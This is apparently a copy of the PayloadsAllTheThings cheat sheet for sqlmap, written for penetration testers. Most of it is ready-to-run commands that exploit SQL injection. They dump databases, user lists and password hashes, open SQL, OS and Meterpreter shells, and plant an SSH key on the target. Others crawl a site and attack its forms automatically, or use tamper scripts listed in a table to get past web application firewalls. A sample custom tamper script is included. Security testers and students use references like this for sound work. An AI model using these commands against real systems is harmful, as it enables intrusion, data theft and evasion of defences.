Back to Payloadsallthethings

SQLmap

SQL Injection/SQLmap.md

4.217.4 KB
Original Source

SQLmap

SQLmap is a powerful tool that automates the detection and exploitation of SQL injection vulnerabilities, saving time and effort compared to manual testing. It supports a wide range of databases and injection techniques, making it versatile and effective in various scenarios. Additionally, SQLmap can retrieve data, manipulate databases, and even execute commands, providing a robust set of features for penetration testers and security analysts. Reinventing the wheel isn't ideal because SQLmap has been rigorously developed, tested, and improved by experts. Using a reliable, community-supported tool means you benefit from established best practices and avoid the high risk of missing vulnerabilities or introducing errors in custom code. However you should always know how SQLmap is working, and be able to replicate it manually if necessary.

Summary

Basic Arguments For SQLmap

powershell
sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs

Load A Request File

A request file in SQLmap is a saved HTTP request that SQLmap reads and uses to perform SQL injection testing. This file allows you to provide a complete and custom HTTP request, which SQLmap can use to target more complex applications.

powershell
sqlmap -r request.txt

Custom Injection Point

A custom injection point in SQLmap allows you to specify exactly where and how SQLmap should attempt to inject payloads into a request. This is useful when dealing with more complex or non-standard injection scenarios that SQLmap may not detect automatically.

By defining a custom injection point with the wildcard character '*' , you have finer control over the testing process, ensuring SQLmap targets specific parts of the request you suspect to be vulnerable.

powershell
sqlmap -u "http://example.com" --data "username=admin&password=pass"  --headers="x-forwarded-for:127.0.0.1*"

Second Order Injection

A second-order SQL injection occurs when malicious SQL code injected into an application is not executed immediately but is instead stored in the database and later used in another SQL query.

powershell
sqlmap -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Getting A Shell

  • SQL Shell:

    ps1
    sqlmap -u "http://example.com/?id=1"  -p id --sql-shell
    
  • OS Shell:

    ps1
    sqlmap -u "http://example.com/?id=1"  -p id --os-shell
    
  • Meterpreter:

    ps1
    sqlmap -u "http://example.com/?id=1"  -p id --os-pwn
    
  • SSH Shell:

    ps1
    sqlmap -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
    

Crawl And Auto-Exploit

This method is not advisable for penetration testing; it should only be used in controlled environments or challenges. It will crawl the entire website and automatically submit forms, which may lead to unintended requests being sent to sensitive features like "delete" or "destroy" endpoints.

powershell
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
  • --batch = Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
  • --crawl = How deep you want to crawl a site
  • --forms = Parse and test forms

Proxy Configuration For SQLmap

To run SQLmap with a proxy, you can use the --proxy option followed by the proxy URL. SQLmap supports various types of proxies such as HTTP, HTTPS, SOCKS4, and SOCKS5.

powershell
sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
sqlmap -u "http://www.target.com/page.php?id=1" --proxy="http://127.0.0.1:8080" --proxy-cred="user:pass"
  • HTTP Proxy:

    ps1
    --proxy="http://[username]:[password]@[proxy_ip]:[proxy_port]"
    --proxy="http://user:[email protected]:8080"
    
  • SOCKS Proxy:

    ps1
    --proxy="socks4://[username]:[password]@[proxy_ip]:[proxy_port]"
    --proxy="socks4://user:[email protected]:1080"
    
  • SOCKS5 Proxy:

    ps1
    --proxy="socks5://[username]:[password]@[proxy_ip]:[proxy_port]"
    --proxy="socks5://user:[email protected]:1080"
    

Injection Tampering

In SQLmap, tampering can help you adjust the injection in specific ways required to bypass web application firewalls (WAFs) or custom sanitization mechanisms. SQLmap provides various options and techniques to tamper with the payloads being used for SQL injection.

Suffix And Prefix

The --suffix and --prefix options allow you to specify additional strings that should be appended or prepended to the payloads generated by SQLMap. These options can be useful when the target application requires specific formatting or when you need to bypass certain filters or protections.

powershell
sqlmap -u "http://example.com/?id=1"  -p id --suffix="-- "
  • --suffix=SUFFIX: The --suffix option appends a specified string to the end of each payload generated by SQLMap.
  • --prefix=PREFIX: The --prefix option prepends a specified string to the beginning of each payload generated by SQLMap.

Default Tamper Scripts

A tamper script is a script that modifies the SQL injection payloads to evade detection by WAFs or other security mechanisms. SQLmap comes with a variety of pre-built tamper scripts that can be used to automatically adjust payloads

powershell
sqlmap -u "http://targetwebsite.com/vulnerablepage.php?id=1" --tamper=<tamper-script-name>

Below is a table highlighting some of the most commonly used tamper scripts:

TamperDescription
0x2char.pyReplaces each (MySQL) 0xHEX encoded string with equivalent CONCAT(CHAR(),…) counterpart
apostrophemask.pyReplaces apostrophe character with its UTF-8 full width counterpart
apostrophenullencode.pyReplaces apostrophe character with its illegal double unicode counterpart
appendnullbyte.pyAppends encoded NULL byte character at the end of payload
base64encode.pyBase64 all characters in a given payload
between.pyReplaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
bluecoat.pyReplaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator
chardoubleencode.pyDouble url-encodes all characters in a given payload (not processing already encoded)
charencode.pyURL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54)
charunicodeencode.pyUnicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054)
charunicodeescape.pyUnicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054)
commalesslimit.pyReplaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'
commalessmid.pyReplaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'
commentbeforeparentheses.pyPrepends (inline) comment before parentheses (e.g. ( -> /**/()
concat2concatws.pyReplaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.pyUrl-encodes all characters in a given payload (not processing already encoded)
charunicodeencode.pyUnicode-url-encodes non-encoded characters in a given payload (not processing already encoded)
equaltolike.pyReplaces all occurrences of operator equal ('=') with operator 'LIKE'
escapequotes.pySlash escape quotes (' and ")
greatest.pyReplaces greater than operator ('>') with 'GREATEST' counterpart
halfversionedmorekeywords.pyAdds versioned MySQL comment before each keyword
htmlencode.pyHTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ')
ifnull2casewhenisnull.pyReplaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' counterpart
ifnull2ifisnull.pyReplaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'
informationschemacomment.pyAdd an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier
least.pyReplaces greater than operator ('>') with 'LEAST' counterpart
lowercase.pyReplaces each keyword character with lower case value (e.g. SELECT -> select)
modsecurityversioned.pyEmbraces complete query with versioned comment
modsecurityzeroversioned.pyEmbraces complete query with zero-versioned comment
multiplespaces.pyAdds multiple spaces around SQL keywords
nonrecursivereplacement.pyReplaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters
overlongutf8.pyConverts all characters in a given payload (not processing already encoded)
overlongutf8more.pyConverts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)
percentage.pyAdds a percentage sign ('%') infront of each character
plus2concat.pyReplaces plus operator ('+') with (MsSQL) function CONCAT() counterpart
plus2fnconcat.pyReplaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart
randomcase.pyReplaces each keyword character with random case value
randomcomments.pyAdd random comments to SQL keywords
securesphere.pyAppends special crafted string
sp_password.pyAppends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
space2comment.pyReplaces space character (' ') with comments
space2dash.pyReplaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')
space2hash.pyReplaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
space2morehash.pyReplaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
space2mssqlblank.pyReplaces space character (' ') with a random blank character from a valid set of alternate characters
space2mssqlhash.pyReplaces space character (' ') with a pound character ('#') followed by a new line ('\n')
space2mysqlblank.pyReplaces space character (' ') with a random blank character from a valid set of alternate characters
space2mysqldash.pyReplaces space character (' ') with a dash comment ('--') followed by a new line ('\n')
space2plus.pyReplaces space character (' ') with plus ('+')
space2randomblank.pyReplaces space character (' ') with a random blank character from a valid set of alternate characters
symboliclogical.pyReplaces AND and OR logical operators with their symbolic counterparts (&& and ||)
unionalltounion.pyReplaces UNION ALL SELECT with UNION SELECT
unmagicquotes.pyReplaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)
uppercase.pyReplaces each keyword character with upper case value 'INSERT'
varnish.pyAppend a HTTP header 'X-originating-IP'
versionedkeywords.pyEncloses each non-function keyword with versioned MySQL comment
versionedmorekeywords.pyEncloses each keyword with versioned MySQL comment
xforwardedfor.pyAppend a fake HTTP header 'X-Forwarded-For'

Custom Tamper Scripts

When creating a custom tamper script, there are a few things to keep in mind. The script architecture contains these mandatory variables and functions:

  • __priority__: Defines the order in which tamper scripts are applied. This sets how early or late SQLmap should apply your tamper script in the tamper pipeline. Normal priority is 0 and the highest is 100.
  • dependencies(): This function gets called before the tamper script is used.
  • tamper(payload): The main function that modifies the payload.

The following code is an example of a tamper script that replace instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' counterpart:

py
import os
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGH

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
    retVal = payload

    match = re.search(r"(?i)LIMIT\s*(\d+),\s*(\d+)", payload or "")
    if match:
        retVal = retVal.replace(match.group(0), "LIMIT %s OFFSET %s" % (match.group(2), match.group(1)))

    return retVal
  • Save it as something like: mytamper.py

  • Place it inside SQLmap's tamper/ directory, typically:

    ps1
    /usr/share/sqlmap/tamper/
    
  • Use it with SQLmap

    ps1
    sqlmap -u "http://target.com/vuln.php?id=1" --tamper=mytamper
    

Custom SQL Payload

The --sql-query option in SQLmap is used to manually run your own SQL query on a vulnerable database after SQLmap has confirmed the injection and gathered necessary access.

ps1
sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="SELECT version()"

Evaluate Python Code

The --eval option lets you define or modify request parameters using Python. The evaluated variables can then be used inside the URL, headers, cookies, etc.

Particularly useful in scenarios such as:

  • Dynamic parameters: When a parameter needs to be randomly or sequentially generated.
  • Token generation: For handling CSRF tokens or dynamic auth headers.
  • Custom logic: E.g., encoding, encryption, timestamps, etc.
ps1
sqlmap -u "http://example.com/vulnerable.php?id=1" --eval="import random; id=random.randint(1,10)"
sqlmap -u "http://example.com/vulnerable.php?id=1" --eval="import hashlib;id2=hashlib.md5(id).hexdigest()"

Preprocess And Postprocess Scripts

ps1
sqlmap -u 'http://example.com/vulnerable.php?id=1' --preprocess=preprocess.py --postprocess=postprocess.py

Preprocessing Script (preprocess.py)

The preprocessing script is used to modify the request data before it is sent to the target application. This can be useful for encoding parameters, adding headers, or other request modifications.

ps1
--preprocess=preprocess.py    Use given script(s) for preprocessing (request)

Example preprocess.py:

ps1
#!/usr/bin/env python
def preprocess(req):
    print("Preprocess")
    print(req)

Postprocessing Script (postprocess.py)

The postprocessing script is used to modify the response data after it is received from the target application. This can be useful for decoding responses, extracting specific data, or other response modifications.

ps1
--postprocess=postprocess.py  Use given script(s) for postprocessing (response)

Reduce Requests Number

The parameter --test-filter is helpful when you want to focus on specific types of SQL injection techniques or payloads. Instead of testing the full range of payloads that SQLMap has, you can limit it to those that match a certain pattern, making the process more efficient, especially on large or slow web applications.

ps1
sqlmap -u "https://www.target.com/page.php?category=demo" -p category --test-filter="Generic UNION query (NULL)"
sqlmap -u "https://www.target.com/page.php?category=demo" --test-filter="boolean"

By default, SQLmap runs with level 1 and risk 1, which generates fewer requests. Increasing these values without a purpose may lead to a larger number of tests that are time-consuming and unnecessary.

ps1
sqlmap -u "https://www.target.com/page.php?id=1" --level=1 --risk=1

Use the --technique option to specify the types of SQL injection techniques to test for, rather than testing all possible ones.

ps1
sqlmap -u "https://www.target.com/page.php?id=1" --technique=B

SQLmap Without SQL Injection

Using SQLmap without exploiting SQL injection vulnerabilities can still be useful for various legitimate purposes, particularly in security assessments, database management, and application testing.

You can use SQLmap to access a database via its port instead of a URL.

ps1
sqlmap -d "mysql://user:pass@ip/database" --dump-all

References